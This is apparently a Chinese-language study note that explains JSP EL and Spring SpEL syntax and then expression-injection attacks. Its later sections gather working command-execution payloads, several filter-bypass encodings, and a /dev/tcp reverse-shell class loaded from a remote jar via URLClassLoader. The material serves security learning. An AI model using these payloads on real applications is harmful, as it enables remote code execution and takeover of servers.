EL表达式&&SPEL表达式注入学习
EL表达式
语法
EL(全称 Expression Language )表达式语言。
作用:
- 1.用于简化 JSP 页面内的 Java 代码。
- 2.主要作用是 获取数据。其实就是从域对象中获取数据,然后将数据展示在页面上。
用法:
要先通过 page 标签设置不忽略 EI 表达式
1
|
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
|
语法:
在 JSP 中我们可以如下写:
${bands}是获取域中存储的 key 作为 bands 的数据。
而 JSP 当中有四大域,它们分别是:
- page:当前页面有
- request:当前请求有效
- session:当前会话有效
- application:当前应用有效
el 表达式获取数据,会依次从这 4 个域中寻找,直到找到为止,这四个域的大小是逐渐增大,而且是包含关系
例如: ${bands},el 表达式获取数据,会先从 page 域对象中获取数据,如果没有再到 request 域对象中获取数据,如果再没有再到 session 域对象中获取,如果还没有才会到 application 中获取数据。
demo
要使用 EL 表达式来获取数据,需要按照顺序完成以下几个步骤。
- 获取到数据,比如从数据库中拿到数据
- 将数据存储到 request 域中
- 转发到对应的 jsp 文件中
先定义一个 Servlet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
@WebServlet("/demo1")
public class ServletDemo1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//1. 准备数据
List<Brand> brands = new ArrayList<Brand>();
brands.add(new Brand(1,"三只松鼠","三只松鼠",100,"三只松鼠,好吃不上火",1));
brands.add(new Brand(2,"优衣库","优衣库",200,"优衣库,服适人生",0));
brands.add(new Brand(3,"小米","小米科技有限公司",1000,"为发烧而生",1));
//2. 存储到request域中
request.setAttribute("brands",brands);
//3. 转发到 el-demo.jsp
request.getRequestDispatcher("/el-demo.jsp").forward(request,response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}
}
|
通过转发,我们才可以使用 request 对象作为域对象进行数据共享
在 el-demo.jsp 中通过 EL表达式 获取数据
访问 /demo1 接口,是可以成功读到数据的。这里的 Demo 其实是 EL 表达式的一小部分,${expression} 是 EL 表达式的变量
运算符
存取数据的运算符
EL表达式提供 . 和 [] 两种运算符来存取数据。
当要存取的属性名称中包含一些特殊字符,如 . 或 - 等并非字母或数字的符号,就一定要使用 []。例如:${user.My-Name} 应当改为 ${user["My-Name"]}。
如果要动态取值时,就可以用 [] 来做,而 . 无法做到动态取值。例如:${sessionScope.user[data]} 中data 是一个变量。
empty 运算符
empty 用来判断 EL 表达式中的对象或者变量是否为空。若为空或者 null,返回 true,否则返回 false。
条件运算符
EL 表达式中,条件运算符的语法和 Java 的完全一致,如下:
变量
EL 表达式存取变量数据的方法很简单,例如:${username}。它的意思是取出某一范围中名称为 username 的变量。因为我们并没有指定哪一个范围的 username,所以它会依序从 Page、Request、Session、Application 范围查找。假如途中找到 username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传 ""。
EL表达式的属性如下:
| 四大域 |
域在EL中的名称 |
| Page |
PageScope |
| Request |
RequestScope |
| Session |
SessionScope |
| Application |
ApplicationScope |
JSP 表达式语言定义可在表达式中使用的以下文字:
| 文字 |
文字的值 |
| Boolean |
true 和 false |
| Integer |
与 Java 类似。可以包含任何整数,例如 24、-45、567 |
| Floating Point |
与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567 |
| String |
任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。 |
| Null |
null |
操作符
JSP 表达式语言提供以下操作符,其中大部分是 Java 中常用的操作符:
| 术语 |
定义 |
| 算术型 |
+、-(二元)、*、/、div、%、mod、-(一元) |
| 逻辑型 |
and、&&、or、双管道符、!、not |
| 关系型 |
==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。 |
| 空 |
empty 空操作符是前缀操作,可用于确定值是否为空。 |
| 条件型 |
A ?B :C。根据 A 赋值的结果来赋值 B 或 C。 |
隐式对象
JSP 表达式语言定义了一组隐式对象,其中许多对象在 JSP和表达式中可用:
| 术语 |
定义 |
| pageContext |
JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}为页面的响应对象赋值。 |
此外,还提供几个隐式对象,允许对以下对象进行简易访问:
| 术语 |
定义 |
| param |
将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param.name}相当于 request.getParameter (name)。 |
| paramValues |
将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues.name} 相当于 request.getParamterValues(name)。 |
| header |
将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header.name} 相当于 request.getHeader(name)。 |
| headerValues |
将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues.name}相当于 request.getHeaderValues(name)。 |
| cookie |
将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie.name.value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues.name}表达式。 |
| initParam |
将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。 |
除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:
| 术语 |
定义 |
| pageScope |
将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope.objectName.attributeName}访问对象的属性。 |
| requestScope |
将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope.objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope.objectName.attributeName}访问对象的属性。 |
| sessionScope |
将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope.name} |
| applicationScope |
将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。 |
pageContext
pageContext 对象是 JSP 中 pageContext 对象的引用。通过 pageContext 对象,您可以访问 request 对象。比如,访问 request 对象传入的查询字符串
1
|
${pageContext.request.queryString}
|
也就是返回?后面的字段
Scope
pageScope,requestScope,sessionScope,applicationScope 变量用来访问存储在各个作用域层次的变量。
举例来说,如果您需要显式访问在 applicationScope 层的 box 变量,可以这样来访问:
param 和 paramValues
param 和 paramValues 对象用来访问参数值,通过使用 request.getParameter 方法和 request.getParameterValues 方法。
举例来说,访问一个名为order的参数,可以这样使用表达式:
1
|
${param.order}或者${param["order"]}。
|
header 和 headerValues 对象用来访问信息头,通过使用 request.getHeader() 方法和 request.getHeaders() 方法。
举例来说,要访问一个名为 user-agent 的信息头,可以这样使用表达式:${header.user-agent},或者 ${header["user-agent"]}
函数
EL允许您在表达式中使用函数。这些函数必须被定义在自定义标签库中。函数的使用语法如下:
1
|
${ns:func(param1, param2, ...)}
|
ns 指的是命名空间(namespace),func 指的是函数的名称,param1 指的是第一个参数,param2 指的是第二个参数,以此类推。比如,有函数 fn:length,在 JSTL 库中定义,可以像下面这样来获取一个字符串的长度:
1
|
${fn:length("Get my length")}
|
调用java方法
先新建一个 ELFunc 类,其中定义的 doSomething() 方法用于给输入的参数字符拼接 ".com" 形成域名返回:
1
2
3
4
5
|
public class ELFunc {
public static String doSomething(String str){
return str + ".com";
}
}
|
接着在 WEB-INF 文件夹下(除 lib 和 classess 目录外)新建 test.tld 文件,其中指定执行的 Java 方法及其 URI 地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ELFunc</short-name>
<uri>http://localhost/ELFunc</uri>
<function>
<name>doSomething</name>
<function-class>com.test.basicjsp.web.ELFunc</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>
|
JSP 文件中,先头部导入 taglib 标签库,URI 为 test.tld 中设置的 URI 地址,prefix 为 test.tld 中设置的 short-name,然后直接在 EL 表达式中使用 类名:方法名() 的形式来调用该类方法即可:
1
2
|
<%@taglib uri="http://localhost/ELFunc" prefix="ELFunc"%>
${ELFunc:doSomething("test")}
|
禁用el表达式
web.xml 中进入如下配置:
1
2
3
4
5
6
|
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
|
在JSP文件中可以有如下定义:
1
|
<%@ page isELIgnored="true" %>
|
EL表达式注入漏洞
表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的,EL表达式注入漏洞的外部可控点入口都是在 Java 程序代码中,即 Java 程序中的EL表达式内容全部或部分是从外部获取的。
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
|
但是在实际场景中,是几乎没有也无法直接从外部控制 JSP 页面中的 EL表达式的。
JUEL
现在 EL 表达式所依赖的包 javax.el 等都在 JUEL 相关的 jar 包中。
JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现,具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。
需要的 jar 包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
public class juelExec {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
// failed
// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
// ok
String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
|
bypass
利用 ScriptEngine 调用 JS 引擎绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
public class ScriptEngineExec {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}\n" +" ";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
|
unicode编码绕过
1
2
|
// Unicode编码内容为前面反射调用的PoC
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d
|
八进制绕过
1
2
3
4
5
6
|
str = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"
result = ""
for s in str:
num = "\\" + oct(ord(s))
result += num
print(result.replace("\\0", "\\"))
|
spEL表达式
在 Spring3 中引入了 Spring 表达式语言(Spring Expression Language,简称 SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于 XML 和基于注解的 Spring 配置还有 bean 定义一起使用。
在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext 中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。
SpEL 有许多特性:
- 使用 Bean 的 ID 来引用 Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
SpEL 定界符 —— #{}
SpEL 使用 #{} 作为定界符,所有在大括号中的字符都将被认为是 SpEL 表达式,在其中可以使用 SpEL 运算符、变量、引用 Bean 及其属性和方法等。
这里需要注意 #{} 和 ${} 的区别:
#{} 就是 SpEL 的定界符,用于指明内容为SpEL 表达式并执行;
${} 主要用于加载外部属性文件中的值;
- 两者可以混合使用,但是必须
#{} 在外面,${} 在里面,如 #{'${}'},注意单引号是字符串类型才添加的;
SpEL 表达式类型
最简单的 SpEL 表达式就是仅包含一个字面值。
下面我们在 XML 配置文件中使用 SpEL 设置类属性的值为字面值,此时需要用到 #{} 定界符,注意若是指定为字符串的话需要添加单引号括起来:
1
2
|
<property name="message1" value="#{666}"/>
<property name="message2" value="#{'John'}"/>
|
还可以直接与字符串混用:
1
|
<property name="message" value="the value is #{666}"/>
|
Java 基本数据类型都可以出现在 SpEL 表达式中,表达式中的数字也可以使用科学计数法:
1
|
<property name="salary" value="#{1e4}"/>
|
demo
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package org.example.speltest;
public class helloWorld {
private String message;
public void setMessage(String message){
this.message = message;
}
public void getMessage(){
System.out.println("Your Message : " + message);
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
|
package org.example.speltest;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class TestDemo {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Demo.xml");
helloWorld helloWorld = context.getBean("helloWorld", helloWorld.class);
helloWorld.getMessage();
}
}
|
然后带spel表达式的xml放在resources里面
1
2
3
4
5
6
7
8
|
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="helloWorld" class="org.example.speltest.helloWorld">
<property name="message" value="#{'Ciallo'} is #{666}"/>
</bean>
</beans>
|

引用Bean、属性和方法
引用 Bean
SpEL 表达式能够通过其他 Bean 的 ID 进行引用,直接在 #{} 符号中写入 ID 名即可,无需添加单引号括起来。
原来是
1
|
<constructor-arg ref="test"/>
|
spel是
1
|
<constructor-arg value="#{test}"/>
|
引用类属性
SpEL 表达式能够访问类的属性
1
2
3
4
5
6
7
|
<bean id="kenny" class="com.spring.entity.Instrumentalist"
p:song="May Rain"
p:instrument-ref="piano"/>
<bean id="Drunkbaby" class="com.spring.entity.Instrumentalist">
<property name="instrument" value="#{kenny.instrument}"/>
<property name="song" value="#{kenny.song}"/>
</bean>
|
key 指定 kenny 的 id
value 指定 kenny的 song 属性。其等价于执行下面的代码:
1
2
|
Instrumentalist carl = new Instrumentalist();
carl.setSong(kenny.getSong());
|
引用类方法
SpEL 表达式还可以访问类的方法。
例如这里可以直接在表达式里面用转大写方法
1
|
<property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/>
|
为了防止抛出空指针,?. 符号会确保左边的表达式不会为 null,如果为 null 的话就不会调用 toUpperCase() 方法了。
类类型表达式 T(Type)
在 SpEL 表达式中,使用 T(Type) 运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
使用 T(Type) 来表示 java.lang.Class 实例,Type 必须是类全限定名,但 ”java.lang” 包除外,因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。
显然可以用Runtime来命令执行
1
2
3
|
<bean id="helloWorld" class="org.example.speltest.helloWorld">
<property name="message" value="#{T(java.lang.Runtime).getRuntime.exec('calc')}" />
</bean>
|
如果用ExpressionParser的话
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
package org.example.speltest;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class CalcTest {
public static void main(String[] args) {
String expression = "T(java.lang.Runtime).getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();;
Expression result = parser.parseExpression(expression);
System.out.println(result.getValue(Class.class));
}
}
|
SpEL表达式用法
SpEL 的用法有三种形式,一种是在注解 @Value 中;一种是 XML 配置;最后一种是在代码块中使用 Expression。
注解@Value的写法
1
2
3
4
5
6
7
|
public class EmailSender {
@Value("${spring.mail.username}")
private String mailUsername;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}
|
这些值一般都是写在配置文件里的,重要的是expression写法
SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
1
2
3
4
5
|
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
|
1、创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
2、解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
3、构造上下文:准备比如变量定义等等表达式需要的上下文数据;
4、求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;
计算器demo上面写过了,还能类实例化,这里可以用new关键字
1
2
3
4
5
6
7
8
|
public class newClass {
public static void main(String[] args) {
String spel = "new java.util.Date()";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}
|
spel运算方式跟java一模一样就不多说了
集合操作
获取集合的方式都跟el相似,这里用中括号获取
SpEL 表达式中提供了查询运算符来实现查询符合条件的集合成员:
.?[]:返回所有符合条件的集合成员;
.^[]:从集合查询中查出第一个符合条件的集合成员;
.$[]:从集合查询中查出最后一个符合条件的集合成员;
1
2
3
|
<bean id="listChoseCity" class="com.drunkbaby.service.ListChoseCity">
<property name="city" value="#{cities.?[population gt 100000]}" />
</bean>
|
像这样就能查询出所有元素
变量定义和引用
在 SpEL 表达式中,变量定义通过 EvaluationContext 类的 setVariable(variableName, value) 函数来实现;在表达式中使用 ”#variableName” 来引用;除了引用自定义变量,SpEL 还允许引用根对象及当前上下文对象:
#this:使用当前正在计算的上下文;
#root:引用容器的 root 对象;
SpEL表达式注入漏洞
SimpleEvaluationContext 和 StandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext:
- SimpleEvaluationContext : 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
- StandardEvaluationContext : 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用;而 StandardEvaluationContext 是支持全部 SpEL 语法的。
由前面知道,SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 来调用任意类方法。这是因为在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,而它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
反射方式
1
2
3
4
5
6
7
8
|
public class ReflectBypass {
public static void main(String[] args) {
String spel = "T(String).getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}
|
POC&&bypass
poc:
1
2
3
4
5
6
7
8
9
|
// PoC原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
|
用processBuilder
1
2
3
4
5
6
7
8
|
public class ProcessBuilderBypass {
public static void main(String[] args) {
String spel = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}
|
bypass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
// Bypass技巧
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
|
JavaScript Engine Bypass
获取js引擎所有信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}
|
通过结果中的 Names,我们知道了所有的 js 引擎名称故 getEngineByName 的参数可以填 [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
1
2
3
|
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval("2+1"));
|
能调用eval方法,也就是上面的poc再套一层js引擎
1
2
3
4
5
6
7
8
9
10
11
12
|
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
|
ClassLoader类加载POC&&bypass
URLClassLoader
先构造一份 Exp.jar , 放到远程 vps 即可,.class 也行
一份通过构造方法反弹 shell 的 Exp.java 实例,其实我感觉用javassist同样可行
1
2
3
4
5
6
7
8
9
10
11
|
public class Exp{
public Exp(String address){
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
|
起个端口监听
1
|
python -m SimpleHTTPServer 8999
|
payload
1
|
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
|
AppClassLoader
由于需要调用到静态方法所以还是要用到 T() 操作
1
|
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("calc")
|
1
|
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()
|
内置对象加载URLClassLoader
1
2
3
|
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
|
request、response 对象是 Web 项目的常客,通过第一个 poc 测试发现在 Web 项目如果引入了 SpEL 的依赖,那么这两个对象会自动被注册进去。